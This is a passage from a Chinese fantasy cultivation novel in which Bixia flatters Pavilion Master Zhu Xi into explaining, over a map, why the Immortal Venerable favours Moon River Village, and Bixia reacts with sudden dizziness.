她顺着祝曦奉承了一番,哄得她再次忘乎所以,才问道:“不过祝阁主,月河村是什么地方,仙尊为什么要特别照顾那里?” 祝曦开心了,自然乐意回答她,还将手上的地图移了过来。 “看这,月河村是三百年前仙尊在凡界居住的村落,受了仙尊百年照拂。虽是凡人村落,却出过几个天才剑修呢。” 碧霞顺着她的手指,将目光放到那张地图上,一处特别被祝曦用红墨圈起来的区域内,写着月河村三个小字。 她呼吸一窒,顿觉恍惚,肩膀小幅度地前后晃了一下,带来一些眩晕的感觉。